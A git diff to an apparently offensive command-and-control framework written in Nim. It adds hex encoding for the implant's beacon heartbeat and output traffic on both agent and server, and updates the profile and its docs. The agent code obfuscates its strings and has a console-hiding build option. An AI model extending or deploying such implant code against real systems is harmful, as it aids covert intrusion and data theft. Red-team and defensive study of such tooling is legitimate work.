diff --git a/data/profile.toml b/data/profile.toml
index 15e8e2c..539e6df 100644
--- a/data/profile.toml
+++ b/data/profile.toml
@@ -25,7 +25,7 @@ endpoints = [
 ]
 
 # Defines where the heartbeat is placed within the HTTP GET request
-# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
+# Allows for data transformation using encoding (base64, hex, ...), appending and prepending of strings
 # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body 
 # Encoding is only applied to the payload and not the prepended or appended strings
 [http-get.agent.heartbeat]
@@ -119,7 +119,7 @@ lang = [
 # Placing this type of data in the body is highly recommended
 [http-post.agent.output]
 placement = { type = "body" }
-encoding = { type = "none" }
+encoding = { type = "hex" }
 # prefix = ""
 # suffix = ""
 
diff --git a/docs/3-PROFILE.md b/docs/3-PROFILE.md
index 5f92528..8453e0f 100644
--- a/docs/3-PROFILE.md
+++ b/docs/3-PROFILE.md
@@ -52,8 +52,8 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
 | --- | --- | --- | 
 | placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query`, `uri`, `body`|
 | placement.name | STRING | Name of the header/parameter to place the heartbeat in.| 
-| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) | 
-| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
+| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex` and `none` (default) | 
+| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
 | prefix | STRING | String to prepend before the heartbeat payload. |
 | suffix | STRING | String to append after the heartbeat payload. |
 
diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim
index 4609f3f..71f7a6b 100644
--- a/src/agent/core/http.nim
+++ b/src/agent/core/http.nim
@@ -11,6 +11,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
     case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
     of protect("base64"):
         heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
+    of protect("hex"):
+        heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii() 
     of protect("none"): 
         heartbeatString = Bytes.toString(heartbeat)
 
@@ -103,6 +105,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
     case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
     of protect("base64"): 
         output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
+    of protect("hex"):
+        output = Bytes.toString(data).toHex().toLowerAscii() 
     of protect("none"): 
         output = Bytes.toString(data)
     
diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg
index 4d79517..fdcc783 100644
--- a/src/agent/nim.cfg
+++ b/src/agent/nim.cfg
@@ -4,7 +4,7 @@
 --opt:size
 --l:"-Wl,-s"
 # --l:"-Wl,-subsystem,windows" # Prevent console window
--d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
+-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
 -d:MODULES="511"
 -d:VERBOSE="true"
 -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
\ No newline at end of file
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index 9e9229a..04deef1 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -1,5 +1,5 @@
-import mummy, terminal, strformat, parsetoml, tables
-import strutils, base64
+import mummy, terminal, parsetoml, tables
+import strutils, strformat, base64
 
 import ./handlers
 import ../globals
@@ -68,6 +68,8 @@ proc httpGet*(request: Request) =
         case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"): 
         of "base64":
             heartbeat = string.toBytes(decode(encHeartbeat)) 
+        of "hex":
+            heartbeat = string.toBytes(parseHexStr(encHeartbeat))
         of "none":
             heartbeat = string.toBytes(encHeartbeat) 
 
@@ -157,6 +159,8 @@ proc httpPost*(request: Request) =
             case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"): 
             of "base64":
                 data = string.toBytes(decode(encData)) 
+            of "hex":
+                data = string.toBytes(parseHexStr(encData))
             of "none":
                 data = string.toBytes(encData)